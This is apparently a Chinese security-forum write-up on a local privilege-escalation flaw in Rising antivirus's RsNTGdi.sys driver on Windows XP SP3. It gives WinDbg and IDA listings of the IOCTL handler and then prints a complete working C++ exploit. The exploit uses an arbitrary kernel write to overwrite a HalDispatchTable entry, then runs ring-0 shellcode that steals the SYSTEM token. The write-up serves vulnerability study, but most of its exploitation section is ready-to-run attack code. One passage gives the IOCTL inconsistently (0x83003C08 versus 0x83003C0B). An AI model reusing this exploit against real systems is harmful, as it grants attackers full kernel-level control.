-
-
[原创]初学Windows内核漏洞之瑞星RsNTGdi.sys
-
2021-11-4 21:07 10385
-
一.前言
该漏洞存在于瑞星的RsNTGdi.sys驱动中,通过该漏洞可以实现任意地址写任意数据。
参考资料 | 《0day安全:软件漏洞分析技术》 |
操作系统 | Win XP SP3 |
实现工具 | WinDbg,IDA Pro,VS2017 |
二.漏洞分析
1.WinDbg
首先使用WinDbg查看该驱动装载到内存中的情况
kd> lm start end module name 804d8000 806e6000 nt (pdb symbols) d:\xpsymbols\ntkrpamp.pdb\7075F995A48A414F8F7BE9A1E0240F821\ntkrpamp.pdb 806e6000 80706d00 hal (deferred) b233d000 b233fa00 vmmemctl (deferred) b24a1000 b24b8900 dump_atapi (deferred) ......... f8b0e000 f8b0ed00 RsNTGdi (deferred) f8b7e000 f8b7ed00 dxgthk (deferred)
可以看到RsNTGdi驱动装载到内存地址为0xF8B0E000到0xF8B0ED00中。接着在看一下分发函数的情况
kd> !drvobj RsNTGdi 2 Driver object (81dd5030) is for: *** ERROR: Module load completed but symbols could not be loaded for RsNTGdi.sys \Driver\RsNTGdi DriverEntry: f8b0e580 RsNTGdi DriverStartIo: 00000000 DriverUnload: f8b0e50a RsNTGdi AddDevice: 00000000 Dispatch routines: [00] IRP_MJ_CREATE f8b0e2a0 RsNTGdi+0x2a0 [01] IRP_MJ_CREATE_NAMED_PIPE 804f55ce nt!IopInvalidDeviceRequest [02] IRP_MJ_CLOSE f8b0e2a0 RsNTGdi+0x2a0 [03] IRP_MJ_READ 804f55ce nt!IopInvalidDeviceRequest [04] IRP_MJ_WRITE 804f55ce nt!IopInvalidDeviceRequest [05] IRP_MJ_QUERY_INFORMATION 804f55ce nt!IopInvalidDeviceRequest [06] IRP_MJ_SET_INFORMATION 804f55ce nt!IopInvalidDeviceRequest [07] IRP_MJ_QUERY_EA 804f55ce nt!IopInvalidDeviceRequest [08] IRP_MJ_SET_EA 804f55ce nt!IopInvalidDeviceRequest [09] IRP_MJ_FLUSH_BUFFERS 804f55ce nt!IopInvalidDeviceRequest [0a] IRP_MJ_QUERY_VOLUME_INFORMATION 804f55ce nt!IopInvalidDeviceRequest [0b] IRP_MJ_SET_VOLUME_INFORMATION 804f55ce nt!IopInvalidDeviceRequest [0c] IRP_MJ_DIRECTORY_CONTROL 804f55ce nt!IopInvalidDeviceRequest [0d] IRP_MJ_FILE_SYSTEM_CONTROL 804f55ce nt!IopInvalidDeviceRequest [0e] IRP_MJ_DEVICE_CONTROL f8b0e36e RsNTGdi+0x36e [0f] IRP_MJ_INTERNAL_DEVICE_CONTROL 804f55ce nt!IopInvalidDeviceRequest [10] IRP_MJ_SHUTDOWN 804f55ce nt!IopInvalidDeviceRequest [11] IRP_MJ_LOCK_CONTROL 804f55ce nt!IopInvalidDeviceRequest [12] IRP_MJ_CLEANUP 804f55ce nt!IopInvalidDeviceRequest [13] IRP_MJ_CREATE_MAILSLOT 804f55ce nt!IopInvalidDeviceRequest [14] IRP_MJ_QUERY_SECURITY 804f55ce nt!IopInvalidDeviceRequest [15] IRP_MJ_SET_SECURITY 804f55ce nt!IopInvalidDeviceRequest [16] IRP_MJ_POWER 804f55ce nt!IopInvalidDeviceRequest [17] IRP_MJ_SYSTEM_CONTROL 804f55ce nt!IopInvalidDeviceRequest [18] IRP_MJ_DEVICE_CHANGE 804f55ce nt!IopInvalidDeviceRequest [19] IRP_MJ_QUERY_QUOTA 804f55ce nt!IopInvalidDeviceRequest [1a] IRP_MJ_SET_QUOTA 804f55ce nt!IopInvalidDeviceRequest [1b] IRP_MJ_PNP 804f55ce nt!IopInvalidDeviceRequest
可以看到DriverEntry的函数地址是0xF8B0E580,根据装载的内存地址0xF8B0E000可以知道,DriverEntry函数的偏移大小是0x580。而IRP_MJ_DEVICE_CONTROL的分发函数地址的偏移是0x36E。
2.IDA Pro
在DriverEntry中,程序创建了设备对象和符号链接,同时也为分发函数进行赋值。从程序的注释中可以知道,符号名是RSNTGDI,我们就可以通过这个符号名来与驱动进行通信。
.text:00010580 ; NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) .text:00010580 public DriverEntry .text:00010580 DriverEntry proc near ; DATA XREF: HEADER:000100F0↑o .text:00010580 .text:00010580 SymbolicLinkName= _UNICODE_STRING ptr -10h .text:00010580 DestinationString= _UNICODE_STRING ptr -8 .text:00010580 DriverObject = dword ptr 8 .text:00010580 RegistryPath = dword ptr 0Ch .text:00010580 .text:00010580 push ebp .text:00010581 mov ebp, esp .text:00010583 sub esp, 10h .text:00010586 push esi .text:00010587 mov esi, [ebp+DriverObject] ; 将驱动对象保存在esi中 .text:0001058A push edi .text:0001058B mov edi, ds:RtlInitUnicodeString .text:00010591 lea eax, [ebp+DestinationString] .text:00010594 push offset aDeviceRsntgdi ; "\\Device\\RSNTGDI" .text:00010599 push eax ; DestinationString .text:0001059A mov [esi+DRIVER_OBJECT.DriverUnload], offset DriverUnload .text:000105A1 call edi ; RtlInitUnicodeString .text:000105A3 lea eax, [ebp+DriverObject] .text:000105A6 push eax ; DeviceObject .text:000105A7 push 0 ; Exclusive .text:000105A9 push 0 ; DeviceCharacteristics .text:000105AB lea eax, [ebp+DestinationString] .text:000105AE push 8300h ; DeviceType .text:000105B3 push eax ; DeviceName .text:000105B4 push 0 ; DeviceExtensionSize .text:000105B6 push esi ; DriverObject .text:000105B7 call ds:IoCreateDevice ; 创建设备对象,此时esi保存的是驱动对象地址 .text:000105BD test eax, eax .text:000105BF jl short loc_105FD .text:000105C1 mov eax, offset DispatchCommon .text:000105C6 push offset aDosdevicesRsnt ; "\\DosDevices\\RSNTGDI" .text:000105CB mov [esi+38h], eax .text:000105CE mov [esi+40h], eax .text:000105D1 lea eax, [ebp+SymbolicLinkName] .text:000105D4 mov dword ptr [esi+70h], offset DispatchIoCtrl .text:000105DB push eax ; DestinationString .text:000105DC call edi ; RtlInitUnicodeString .text:000105DE lea eax, [ebp+DestinationString] .text:000105E1 push eax ; DeviceName .text:000105E2 lea eax, [ebp+SymbolicLinkName] .text:000105E5 push eax ; SymbolicLinkName .text:000105E6 call ds:IoCreateSymbolicLink .text:000105EC mov edi, eax .text:000105EE test edi, edi .text:000105F0 jge short loc_105FB .text:000105F2 push dword ptr [esi+4] ; DeviceObject .text:000105F5 call ds:IoDeleteDevice .text:000105FB .text:000105FB loc_105FB: ; CODE XREF: DriverEntry+70↑j .text:000105FB mov eax, edi .text:000105FD .text:000105FD loc_105FD: ; CODE XREF: DriverEntry+3F↑j .text:000105FD pop edi .text:000105FE pop esi .text:000105FF leave .text:00010600 retn 8 .text:00010600 DriverEntry endp
而在DispatchIoCtrl中,程序首先将几个关键的字段保存在几个寄存器中。
.text:0001036E ; int __stdcall DispatchIoCtrl(int, PIRP Irp) .text:0001036E DispatchIoCtrl proc near ; DATA XREF: DriverEntry+54↓o .text:0001036E .text:0001036E var_4 = dword ptr -4 .text:0001036E Irp = dword ptr 0Ch .text:0001036E .text:0001036E push ebp .text:0001036F mov ebp, esp .text:00010371 push ecx .text:00010372 push ebx .text:00010373 push esi .text:00010374 mov esi, [ebp+Irp] .text:00010377 and [ebp+var_4], 0 .text:0001037B push edi .text:0001037C mov ecx, [esi+60h] ; 将CurrentStackLocation的地址赋给ecx .text:0001037F and [esi+_IRP.IoStatus.Information], 0 .text:00010383 mov edi, [esi+_IRP.UserBuffer] .text:00010386 mov eax, [ecx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.Type3InputBuffer] .text:00010389 mov edx, [ecx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength] .text:0001038C mov ebx, [ecx+_IO_STACK_LOCATION.Parameters.DeviceIoControl.OutputBufferLength]
此时经过赋值,这几个寄存器保存的内容如下
寄存器 | 保存内容 |
edi | 输出缓冲区地址 |
eax | 输入缓冲区地址 |
edx | 输入缓冲区长度 |
ebx | 输出缓冲区长度 |
随后取出IOCTL,在根据IOCTL来决定要执行的代码,如果传入的IOCTL不符合要求,就会跳转到函数的结束位置运行。
.text:00010392 cmp ecx, 83003C03h .text:00010398 mov [ebp+Irp], ebx .text:0001039B jz loc_10499 .text:000103A1 cmp ecx, 83003C07h .text:000103A7 jz loc_10472 .text:000103AD cmp ecx, 83003C0Bh .text:000103B3 jz loc_10458 .text:000103B9 cmp ecx, 83003C0Fh .text:000103BF jz short loc_10432 .text:000103C1 cmp ecx, 83003C13h .text:000103C7 jz short loc_1040C .text:000103C9 cmp ecx, 83003C17h .text:000103CF jz short loc_103DD .text:000103D1 mov [ebp+var_4], STATUS_INVALID_PARAMETER .text:000103D8 jmp loc_104C3 。。。 .text:000104C3 loc_104C3: ; CODE XREF: DispatchIoCtrl+6A↑j .text:000104C3 ; DispatchIoCtrl+72↑j ... .text:000104C3 mov edi, [ebp+var_4] .text:000104C6 mov eax, [ebp+Irp] .text:000104C9 xor dl, dl ; PriorityBoost .text:000104CB mov ecx, esi ; Irp .text:000104CD mov [esi+_IRP.IoStatus.anonymous_0.Status], edi .text:000104D0 mov [esi+_IRP.IoStatus.Information], eax .text:000104D3 call ds:IofCompleteRequest .text:000104D9 mov eax, edi .text:000104DB pop edi .text:000104DC pop esi .text:000104DD pop ebx .text:000104DE leave .text:000104DF retn 8 .text:000104DF DispatchIoCtrl endp
而要运行有漏洞的代码,IOCTL就需要是0x83003C0B,也就是说要运行的代码是loc_10458。且根据这个IOCTL的最后两位是11(0x3)可以知道,这个使用这个IOCTL的时候,用户层和驱动层的通信方式是METHOD_NEITHER。
接下来继续看loc_10458的代码,根据最开始的初始化以后各个寄存器所保存的内容可以知道。函数首先判断输入缓冲区的长度以及IRP的地址是否小于4,如果小于4则函数退出。如果满足跳转,则将缓冲区的前4字节作为参数调用VidSetTextColor,然后将VidSetTextColor函数的返回值输入到输出缓冲区中。
.text:00010458 loc_10458: ; CODE XREF: DispatchIoCtrl+45↑j .text:00010458 push 4 .text:0001045A pop ebx ; 将ebx赋值为4 .text:0001045B cmp edx, ebx ; 判断输入缓冲区是否小于4 .text:0001045D jb short loc_104C3 .text:0001045F cmp [ebp+Irp], ebx ; IRP的地址是否小于4 .text:00010462 jb short loc_104C3 .text:00010464 push dword ptr [eax] ; 将输入缓冲区前4字节的数据入栈 .text:00010466 call VidSetTextColor .text:0001046B mov [edi], eax ; 将返回值赋值到输出缓冲区中 .text:0001046D mov [esi+_IRP.IoStatus.Information], ebx .text:00010470 jmp short loc_104C3
而VidSetTextColor函数是bootvid.dll的一个导出函数,该函数的代码如下
.text:80010C2E public VidSetTextColor .text:80010C2E VidSetTextColor proc near ; DATA XREF: .edata:off_80012728↓o .text:80010C2E .text:80010C2E arg_0 = dword ptr 4 .text:80010C2E .text:80010C2E mov ecx, [esp+arg_0] .text:80010C32 mov eax, dword_80012648 .text:80010C37 mov dword_80012648, ecx .text:80010C3D retn 4 .text:80010C3D VidSetTextColor endp
在这个函数中,首先将dword_80012648中保存的数据赋值到eax中,作为函数的返回值,然后将传入的参数保存到dword_80012648中。
三.漏洞利用
根据以上内容可以得知,程序没有对输入缓冲区地址,输出缓冲区地址以及输出缓冲区的长度进行合法性验证。仅仅只是要求输入缓冲区的长度要大于4,这样的话,根据程序的逻辑就可以通过两次调用IOCTL为0x83003C08来任意地址修改。
第一次调用的时候,将输入缓冲区中的内容保存到dword_80012648中。第二次调用的时候,输出缓冲区指向的就是要修改的内核地址,这样第一次调用时候保存到dword_80012648中的内容就会写入到内核地址中。
在依据0day书中内核漏洞exploitme.sys的学习记录中的内容,不难写出以下的漏洞利用代码
// exploit.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <cstdio> #include <cstdlib> #include <windows.h> #include "ntapi.h" #pragma comment(linker, "/defaultlib:ntdll.lib") #define LINK_NAME "\\\\.\\RSNTGDI" #define IOCTL 0x83003C0B #define INPUT_BUFFER_LENGTH 4 #define OUT_BUFFER_LENGTH 4 #define PAGE_SIZE 0x1000 #define KERNEL_NAME_LENGTH 0X0D void ShowError(PCHAR msg, NTSTATUS status); NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength); BOOL g_bIsExecute = FALSE; int main() { NTSTATUS status = STATUS_SUCCESS; HANDLE hDevice = NULL; DWORD dwReturnLength = 0, ShellCodeSize = PAGE_SIZE; PVOID ShellCodeAddress = NULL; PSYSTEM_MODULE_INFORMATION pModuleInformation = NULL; DWORD dwImageBase = 0; PVOID pMappedBase = NULL; UCHAR szImageName[KERNEL_NAME_LENGTH] = { 0 }; UNICODE_STRING uDllName; PVOID pHalDispatchTable = NULL, pXHalQuerySystemInformation = NULL; DWORD dwDllCharacteristics = DONT_RESOLVE_DLL_REFERENCES; // 获得0地址的内存 ShellCodeAddress = (PVOID)sizeof(ULONG); status = NtAllocateVirtualMemory(NtCurrentProcess(), &ShellCodeAddress, 0, &ShellCodeSize, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); if (!NT_SUCCESS(status)) { printf("NtAllocateVirtualMemory Error 0x%X\n", status); goto exit; } // 将ShellCode写到申请的0地址空间中 RtlMoveMemory(ShellCodeAddress, (PVOID)Ring0ShellCode, ShellCodeSize); // 此时dwReturnLength是0,所以函数会由于长度为0执行失败 // 然后系统会在第四个参数指定的地址保存需要的内存大小 status = ZwQuerySystemInformation(SystemModuleInformation, pModuleInformation, dwReturnLength, &dwReturnLength); if (status != STATUS_INFO_LENGTH_MISMATCH) { ShowError("ZwQuerySystemInformation", status); goto exit; } // 按页大小对齐 dwReturnLength = (dwReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG); pModuleInformation = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, dwReturnLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!pModuleInformation) { printf("VirtualAlloc Error"); goto exit; } status = ZwQuerySystemInformation(SystemModuleInformation, pModuleInformation, dwReturnLength, &dwReturnLength); if (!NT_SUCCESS(status)) { ShowError("ZwQuerySystemInformation", status); goto exit; } // 模块加载的基地址 dwImageBase = (DWORD)(pModuleInformation->Module[0].Base); // 获取模块名 RtlMoveMemory(szImageName, (PVOID)(pModuleInformation->Module[0].ImageName + pModuleInformation->Module[0].PathLength), KERNEL_NAME_LENGTH); // 转换为UNICODE_STRING类型 RtlCreateUnicodeStringFromAsciiz(&uDllName, (PUCHAR)szImageName); status = (NTSTATUS)LdrLoadDll(NULL, &dwDllCharacteristics, &uDllName, &pMappedBase); if (!NT_SUCCESS(status)) { ShowError("LdrLoadDll", status); goto exit; } // 获取内核HalDispatchTable函数表地址 pHalDispatchTable = GetProcAddress((HMODULE)pMappedBase, "HalDispatchTable"); if (pHalDispatchTable == NULL) { printf("GetProcAddress Error\n"); goto exit; } pHalDispatchTable = (PVOID)((DWORD)pHalDispatchTable - (DWORD)pMappedBase + dwImageBase); pXHalQuerySystemInformation = (PVOID)((DWORD)pHalDispatchTable + sizeof(ULONG)); // 打开驱动设备 hDevice = CreateFile(LINK_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hDevice == INVALID_HANDLE_VALUE) { printf("CreateFile Error"); goto exit; } DWORD dwInput = 0; // 与驱动设备进行第一次交互,将0保存到dword_80012648中 if (!DeviceIoControl(hDevice, IOCTL, &dwInput, INPUT_BUFFER_LENGTH, &dwInput, OUT_BUFFER_LENGTH, &dwReturnLength, NULL)) { printf("DeviceIoControl Error"); goto exit; } // 与驱动设备进行第二次交互,将0写入到XHalQuerySystemInformation中 if (!DeviceIoControl(hDevice, IOCTL, &dwInput, INPUT_BUFFER_LENGTH, pXHalQuerySystemInformation, OUT_BUFFER_LENGTH, &dwReturnLength, NULL)) { printf("DeviceIoControl Error"); goto exit; } status = NtQueryIntervalProfile(ProfileTotalIssues, NULL); if (!NT_SUCCESS(status)) { ShowError("NtQueryIntervalProfile", status); goto exit; } if (g_bIsExecute) printf("Ring0 代码执行完成\n"); exit: if (pModuleInformation) VirtualFree(pModuleInformation, dwReturnLength, MEM_DECOMMIT | MEM_RELEASE); if (hDevice) NtClose(hDevice); if (pMappedBase) LdrUnloadDll(pMappedBase); system("pause"); return 0; } NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength) { // 关闭页保护 __asm { cli mov eax, cr0 and eax, ~0x10000 mov cr0, eax } __asm { // 取当前线程 mov eax, 0xFFDFF124 mov eax, [eax] // 取线程对应的EPROCESS mov esi, [eax + 0x220] mov eax, esi searchXp : mov eax, [eax + 0x88] sub eax, 0x88 mov edx, [eax + 0x84] cmp edx, 0x4 jne searchXp mov eax, [eax + 0xC8] mov[esi + 0xC8], eax } // 开起页保护 __asm { mov eax, cr0 or eax, 0x10000 mov cr0, eax sti } g_bIsExecute = TRUE; } void ShowError(PCHAR msg, NTSTATUS status) { printf("%s Error 0x%X\n", msg, status); } void ShowError(PCHAR msg) { printf("%s Error 0x%X\n", msg, GetLastError()); }
四.运行结果
可以看到,写入到0地址的代码顺利执行,程序提权成功
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界